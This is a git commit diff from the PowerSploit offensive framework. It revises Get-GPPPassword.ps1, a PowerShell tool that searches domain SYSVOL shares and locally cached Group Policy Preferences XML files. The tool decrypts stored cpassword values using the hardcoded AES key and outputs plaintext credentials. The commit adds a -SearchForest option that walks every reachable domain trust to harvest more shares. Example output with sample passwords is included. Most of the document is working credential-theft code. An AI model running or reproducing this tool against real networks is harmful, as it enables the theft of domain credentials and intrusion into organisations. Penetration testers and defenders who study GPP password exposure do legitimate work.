diff options
author | HarmJ0y <will@harmj0y.net> | 2017-01-07 20:32:14 -0500 |
---|---|---|
committer | HarmJ0y <will@harmj0y.net> | 2017-01-07 20:32:14 -0500 |
commit | 5500a7e1311662a8e88d1361ef0d8ab86f8f35b5 (patch) | |
tree | d9b93ce69796773cbdf3cf3d4e956d9caeb92045 /Exfiltration | |
parent | 94438eda67711e2803b40a093bd4b38568c134ec (diff) | |
download | PowerSploit-5500a7e1311662a8e88d1361ef0d8ab86f8f35b5.tar.gz PowerSploit-5500a7e1311662a8e88d1361ef0d8ab86f8f35b5.zip |
Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 462 |
1 files changed, 279 insertions, 183 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 0c03e0a..bb58667 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -2,246 +2,342 @@ function Get-GPPPassword { <# .SYNOPSIS - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. - - PowerSploit Function: Get-GPPPassword - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +PowerSploit Function: Get-GPPPassword +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. +Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. .PARAMETER Server - - Specify the domain controller to search for. - Default's to the users current domain + +Specify the domain controller to search for. +Default's to the users current domain + +.PARAMETER SearchForest + +Map all reaschable trusts and search all reachable SYSVOLs. .EXAMPLE - PS C:\> Get-GPPPassword - - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml - - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} - Passwords : {password, password1234$} - UserNames : {administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} - Passwords : {password, read123} - UserNames : {DEMO\Administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml +Get-GPPPassword + +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} +Passwords : {password, password1234$} +UserNames : {administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} +Passwords : {password, read123} +UserNames : {DEMO\Administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml .EXAMPLE - PS C:\> Get-GPPPassword -Server EXAMPLE.COM - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml +Get-GPPPassword -Server EXAMPLE.COM - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml .EXAMPLE - PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq - - password - password12 - password123 - password1234 - password1234$ - read123 - Recycling*3ftw! +Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + +password +password12 +password123 +password1234 +password1234$ +read123 +Recycling*3ftw! .LINK - - http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html - https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> - + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [CmdletBinding()] Param ( - [ValidateNotNullOrEmpty()] - [String] - $Server = $Env:USERDNSDOMAIN + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN, + + [Switch] + $SearchForest ) - - #Some XML issues between versions - Set-StrictMode -Version 2 - - #define helper function that decodes and decrypts password + + # define helper function that decodes and decrypts password function Get-DecryptedCpassword { [CmdletBinding()] Param ( - [string] $Cpassword + [string] $Cpassword ) try { - #Append appropriate padding based on string length + #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) - + switch ($Mod) { - '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} - '2' {$Cpassword += ('=' * (4 - $Mod))} - '3' {$Cpassword += ('=' * (4 - $Mod))} + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) - + #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) - + #Set IV to all nulls to prevent dynamic generation of IV value - $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey - $DecryptorObject = $AesObject.CreateDecryptor() + $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) - + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) - } - - catch {Write-Error $Error[0]} - } - - #define helper function to parse fields from xml files - function Get-GPPInnerFields { + } + + catch { Write-Error $Error[0] } + } + + # helper function to parse fields from xml files + function Get-GPPInnerField { [CmdletBinding()] Param ( $File ) - + try { - $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) - #declare empty arrays - $Cpassword = @() - $UserName = @() - $NewName = @() - $Changed = @() - $Password = @() - - #check for password field - if ($Xml.innerxml -like "*cpassword*"){ - - Write-Verbose "Potential password in $File" - - switch ($Filename) { - - 'Groups.xml' { - $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Services.xml' { - $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Scheduledtasks.xml' { - $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'DataSources.xml' { - $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + # check for the cpassword field + if ($Xml.innerxml -match 'cpassword') { + + $Xml.GetElementsByTagName('Properties') | ForEach-Object { + if ($_.cpassword) { + $Cpassword = $_.cpassword + if ($Cpassword -and ($Cpassword -ne '')) { + $DecryptedPassword = Get-DecryptedCpassword $Cpassword + $Password = $DecryptedPassword + Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'" + } + + if ($_.newName) { + $NewName = $_.newName + } + + if ($_.userName) { + $UserName = $_.userName + } + elseif ($_.accountName) { + $UserName = $_.accountName + } + elseif ($_.runAs) { + $UserName = $_.runAs + } + + try { + $Changed = $_.ParentNode.changed + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'" + } + + try { + $NodeName = $_.ParentNode.ParentNode.LocalName + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'" + } + + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + $GPPPassword = New-Object PSObject + $GPPPassword | Add-Member Noteproperty 'UserName' $UserName + $GPPPassword | Add-Member Noteproperty 'NewName' $NewName + $GPPPassword | Add-Member Noteproperty 'Password' $Password + $GPPPassword | Add-Member Noteproperty 'Changed' $Changed + $GPPPassword | Add-Member Noteproperty 'File' $File + $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName + $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword + $GPPPassword } - - 'Printers.xml' { - $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + catch { + Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_" + } + } + + # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain + function Get-DomainTrust { + [CmdletBinding()] + Param ( + $Domain + ) + + if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) { + try { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + if ($DomainObject) { + $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_" + } + + try { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain) + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + if ($ForestObject) { + $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_" + } + } + } + + # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain + function Get-DomainTrustMapping { + [CmdletBinding()] + Param () + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain stack tracker + $Domains = New-Object System.Collections.Stack + + try { + $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + $CurrentDomain + } + catch { + Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_" + } + + if ($CurrentDomain -and $CurrentDomain -ne '') { + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the domain/forest trusts for this domain + Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object { + # only output if we haven't already seen this domain and if it's pingable + if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) { + $Null = $Domains.Push($_) + $_ + } + } } - - 'Drives.xml' { - $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } - } - - foreach ($Pass in $Cpassword) { - Write-Verbose "Decrypting $Pass" - $DecryptedPassword = Get-DecryptedCpassword $Pass - Write-Verbose "Decrypted a password of $DecryptedPassword" - #append any new passwords to array - $Password += , $DecryptedPassword - } - - #put [BLANK] in variables - if (!($Password)) {$Password = '[BLANK]'} - if (!($UserName)) {$UserName = '[BLANK]'} - if (!($Changed)) {$Changed = '[BLANK]'} - if (!($NewName)) {$NewName = '[BLANK]'} - - #Create custom object to output results - $ObjectProperties = @{'Passwords' = $Password; - 'UserNames' = $UserName; - 'Changed' = $Changed; - 'NewName' = $NewName; - 'File' = $File} - - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - Write-Verbose "The password is between {} and may be more than one value." - if ($ResultsObject) {Return $ResultsObject} + } } - - catch {Write-Error $Error[0]} } - + try { - #ensure that machine is domain joined and script is running as a domain account - if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { - throw 'Machine is not a domain member or User is not a member of the domain.' + $XMlFiles = @() + $Domains = @() + + # discover any locally cached GPP .xml files + Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' + $MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ($SearchForest) { + Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' + $Domains += Get-DomainTrustMapping } + else { + if ($Server) { + $Domains += , $Server + } + else { + # in case we're in a SYSTEM context + $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + } + } + + $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique + + ForEach ($Domain in $Domains) { + # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory + Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while." + $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') + + if($DomainXMLFiles) { + $XMlFiles += $DomainXMLFiles + } + } + + if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' } + + Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." - $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' - - if ( -not $XMlFiles ) {throw 'No preference files found.'} - - Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - - foreach ($File in $XMLFiles) { - $Result = (Get-GppInnerFields $File.Fullname) - Write-Output $Result + ForEach ($File in $XMLFiles) { + $Result = (Get-GppInnerField $File.Fullname) + $Result } } - catch {Write-Error $Error[0]} -} + catch { Write-Error $Error[0] } +}
\ No newline at end of file |